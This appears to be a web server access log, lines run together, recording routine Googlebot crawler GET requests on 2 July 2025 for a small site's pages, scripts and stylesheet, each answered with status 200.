[02/Jul/2025:12:04:32 +0000] "GET /products/1 HTTP/1.1" 200 2058 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:32 +0000] "GET /contact.html HTTP/1.1" 200 3358 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:32 +0000] "GET /products/2 HTTP/1.1" 200 1665 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:32 +0000] "GET /contact.html HTTP/1.1" 200 4502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:32 +0000] "GET /contact.html HTTP/1.1" 200 2251 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:32 +0000] "GET /products/2 HTTP/1.1" 200 3805 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:32 +0000] "GET /index.html HTTP/1.1" 200 4754 "-" "Googlebot/2.1 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12:04:34 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:34 +0000] "GET /main.js HTTP/1.1" 200 4414 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:34 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:34 +0000] "GET /about.html HTTP/1.1" 200 3695 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:34 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:34 +0000] "GET /about.html HTTP/1.1" 200 1469 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:34 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:34 +0000] "GET /about.html HTTP/1.1" 200 1738 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:34 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:34 +0000] "GET /contact.html HTTP/1.1" 200 1553 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:34 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:34 +0000] "GET /styles.css HTTP/1.1" 200 2501 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:34 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:34 +0000] "GET /about.html HTTP/1.1" 200 1370 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:34 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:34 +0000] "GET /products/2 HTTP/1.1" 200 1513 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:34 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:34 +0000] "GET /index.html HTTP/1.1" 200 1716 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:34 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:34 +0000] "GET /products/1 HTTP/1.1" 200 4837 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:34 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:34 +0000] "GET /styles.css HTTP/1.1" 200 2338 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:34 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:34 +0000] "GET /index.html HTTP/1.1" 200 1193 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:34 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:34 +0000] "GET /products/2 HTTP/1.1" 200 4750 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:34 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:34 +0000] "GET /about.html HTTP/1.1" 200 2224 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:34 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:34 +0000] "GET /products/1 HTTP/1.1" 200 3622 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:34 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:34 +0000] "GET /main.js HTTP/1.1" 200 4335 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:34 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:34 +0000] "GET /contact.html HTTP/1.1" 200 1164 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:34 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:34 +0000] "GET /contact.html HTTP/1.1" 200 2743 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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02 12:04:37 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:37 +0000] "GET /products/2 HTTP/1.1" 200 4519 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:37 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:37 +0000] "GET /products/1 HTTP/1.1" 200 4449 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:37 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:37 +0000] "GET /contact.html HTTP/1.1" 200 3356 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:37 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:37 +0000] "GET /main.js HTTP/1.1" 200 1037 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:37 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:37 +0000] "GET /styles.css HTTP/1.1" 200 1288 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:37 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:37 +0000] "GET /products/1 HTTP/1.1" 200 2541 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:37 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:37 +0000] "GET /about.html HTTP/1.1" 200 2626 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:37 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:37 +0000] "GET /products/1 HTTP/1.1" 200 2747 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:37 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:37 +0000] "GET /products/1 HTTP/1.1" 200 4266 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:37 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:37 +0000] "GET /index.html HTTP/1.1" 200 1076 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:37 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:37 +0000] "GET /about.html HTTP/1.1" 200 4376 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:37 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:37 +0000] "GET /index.html HTTP/1.1" 200 1890 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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12:04:39 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:39 +0000] "GET /products/1 HTTP/1.1" 200 4219 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:39 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:39 +0000] "GET /contact.html HTTP/1.1" 200 3082 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:39 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:39 +0000] "GET /index.html HTTP/1.1" 200 1879 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:39 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:39 +0000] "GET /products/2 HTTP/1.1" 200 1484 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:39 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:39 +0000] "GET /index.html HTTP/1.1" 200 1077 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:39 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:39 +0000] "GET /products/2 HTTP/1.1" 200 3964 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:39 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:39 +0000] "GET /contact.html HTTP/1.1" 200 1380 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:39 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:39 +0000] "GET /styles.css HTTP/1.1" 200 1837 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:39 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:39 +0000] "GET /styles.css HTTP/1.1" 200 3989 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:39 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:39 +0000] "GET /about.html HTTP/1.1" 200 3693 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:39 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:39 +0000] "GET /about.html HTTP/1.1" 200 1082 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:39 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:39 +0000] "GET /styles.css HTTP/1.1" 200 4817 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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12:04:42 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:42 +0000] "GET /about.html HTTP/1.1" 200 2237 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:42 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:42 +0000] "GET /products/2 HTTP/1.1" 200 3047 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:42 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:42 +0000] "GET /products/1 HTTP/1.1" 200 4189 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:42 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:42 +0000] "GET /products/1 HTTP/1.1" 200 3473 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:42 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:42 +0000] "GET /styles.css HTTP/1.1" 200 2846 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:42 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:42 +0000] "GET /contact.html HTTP/1.1" 200 2520 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 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02 12:04:42 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:42 +0000] "GET /main.js HTTP/1.1" 200 4695 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:42 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:42 +0000] "GET /products/1 HTTP/1.1" 200 1559 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:42 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:42 +0000] "GET /contact.html HTTP/1.1" 200 1306 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:42 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:42 +0000] "GET /contact.html HTTP/1.1" 200 4327 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:42 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:42 +0000] "GET /about.html HTTP/1.1" 200 2612 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:42 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:42 +0000] "GET /about.html HTTP/1.1" 200 1004 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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02 12:04:44 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:44 +0000] "GET /about.html HTTP/1.1" 200 2393 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:44 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:44 +0000] "GET /index.html HTTP/1.1" 200 3582 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:44 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:44 +0000] "GET /index.html HTTP/1.1" 200 3084 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:44 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:44 +0000] "GET /styles.css HTTP/1.1" 200 2526 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:44 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:44 +0000] "GET /contact.html HTTP/1.1" 200 2650 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:44 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:44 +0000] "GET /contact.html HTTP/1.1" 200 2660 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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02 12:04:54 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:54 +0000] "GET /styles.css HTTP/1.1" 200 2880 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:54 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:54 +0000] "GET /main.js HTTP/1.1" 200 4012 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:54 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:54 +0000] "GET /about.html HTTP/1.1" 200 2649 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:54 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:54 +0000] "GET /contact.html HTTP/1.1" 200 2365 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:54 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:54 +0000] "GET /index.html HTTP/1.1" 200 2765 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:54 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:54 +0000] "GET /main.js HTTP/1.1" 200 4649 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:54 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:54 +0000] "GET /styles.css HTTP/1.1" 200 1667 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:54 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:54 +0000] "GET /contact.html HTTP/1.1" 200 3194 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:54 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:54 +0000] "GET /styles.css HTTP/1.1" 200 3510 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:54 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:54 +0000] "GET /contact.html HTTP/1.1" 200 4072 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:54 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:54 +0000] "GET /products/2 HTTP/1.1" 200 4858 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:54 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:54 +0000] "GET /index.html HTTP/1.1" 200 3593 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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12:04:56 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:56 +0000] "GET /contact.html HTTP/1.1" 200 3751 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:56 +0000] "GET /main.js HTTP/1.1" 200 4946 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:56 +0000] "GET /index.html HTTP/1.1" 200 3065 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:56 +0000] "GET /about.html HTTP/1.1" 200 1833 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:56 +0000] "GET /index.html HTTP/1.1" 200 2737 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:56 +0000] "GET /index.html HTTP/1.1" 200 4291 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:56 +0000] "GET /contact.html HTTP/1.1" 200 1141 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:56 +0000] "GET /main.js HTTP/1.1" 200 3837 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:56 +0000] "GET /products/2 HTTP/1.1" 200 4370 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:56 +0000] "GET /index.html HTTP/1.1" 200 4438 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:56 +0000] "GET /about.html HTTP/1.1" 200 1315 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:56 +0000] "GET /products/1 HTTP/1.1" 200 3173 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:56 +0000] "GET /contact.html HTTP/1.1" 200 4116 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:56 +0000] "GET /index.html HTTP/1.1" 200 3313 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:56 +0000] "GET /about.html HTTP/1.1" 200 2359 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:56 +0000] "GET /products/1 HTTP/1.1" 200 3941 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:56 +0000] "GET /contact.html HTTP/1.1" 200 4083 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:56 +0000] "GET /styles.css HTTP/1.1" 200 4425 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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02 12:04:58 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:58 +0000] "GET /main.js HTTP/1.1" 200 4659 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:58 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:58 +0000] "GET /products/1 HTTP/1.1" 200 3691 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:58 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:58 +0000] "GET /products/2 HTTP/1.1" 200 2722 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:58 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:58 +0000] "GET /styles.css HTTP/1.1" 200 4089 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:58 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:58 +0000] "GET /contact.html HTTP/1.1" 200 3323 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:58 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:58 +0000] "GET /index.html HTTP/1.1" 200 3760 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:59 +0000] "GET /index.html HTTP/1.1" 200 1640 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:59 +0000] "GET /main.js HTTP/1.1" 200 3386 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:59 +0000] "GET /styles.css HTTP/1.1" 200 2020 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:59 +0000] "GET /styles.css HTTP/1.1" 200 1458 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:59 +0000] "GET /main.js HTTP/1.1" 200 2373 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:59 +0000] "GET /index.html HTTP/1.1" 200 2874 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:59 +0000] "GET /products/1 HTTP/1.1" 200 1588 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:59 +0000] "GET /styles.css HTTP/1.1" 200 2251 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:59 +0000] "GET /index.html HTTP/1.1" 200 3500 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:59 +0000] "GET /about.html HTTP/1.1" 200 1488 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:59 +0000] "GET /styles.css HTTP/1.1" 200 3715 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:59 +0000] "GET /index.html HTTP/1.1" 200 4048 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:59 +0000] "GET /index.html HTTP/1.1" 200 1026 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:59 +0000] "GET /index.html HTTP/1.1" 200 3590 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:59 +0000] "GET /contact.html HTTP/1.1" 200 3976 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:59 +0000] "GET /about.html HTTP/1.1" 200 3766 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:59 +0000] "GET /index.html HTTP/1.1" 200 4263 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:59 +0000] "GET /about.html HTTP/1.1" 200 3508 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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02 12:04:59 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:59 +0000] "GET /main.js HTTP/1.1" 200 4100 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:59 +0000] "GET /contact.html HTTP/1.1" 200 4236 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:59 +0000] "GET /products/1 HTTP/1.1" 200 2627 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:59 +0000] "GET /index.html HTTP/1.1" 200 3977 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:59 +0000] "GET /products/1 HTTP/1.1" 200 2704 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:59 +0000] "GET /styles.css HTTP/1.1" 200 4561 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:59 +0000] "GET /styles.css HTTP/1.1" 200 3979 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:59 +0000] "GET /products/1 HTTP/1.1" 200 4136 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:59 +0000] "GET /products/1 HTTP/1.1" 200 1138 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:59 +0000] "GET /main.js HTTP/1.1" 200 3048 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:59 +0000] "GET /products/1 HTTP/1.1" 200 2381 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:59 +0000] "GET /products/1 HTTP/1.1" 200 3263 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:59 +0000] "GET /products/1 HTTP/1.1" 200 4087 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:59 +0000] "GET /contact.html HTTP/1.1" 200 4934 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:59 +0000] "GET /about.html HTTP/1.1" 200 3828 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:59 +0000] "GET /contact.html HTTP/1.1" 200 2468 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:59 +0000] "GET /about.html HTTP/1.1" 200 1054 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:59 +0000] "GET /about.html HTTP/1.1" 200 3206 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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12:05:04 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:04 +0000] "GET /products/2 HTTP/1.1" 200 1175 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:04 +0000] "GET /styles.css HTTP/1.1" 200 2635 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:04 +0000] "GET /index.html HTTP/1.1" 200 4008 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:04 +0000] "GET /products/2 HTTP/1.1" 200 1416 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:04 +0000] "GET /contact.html HTTP/1.1" 200 2695 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.1 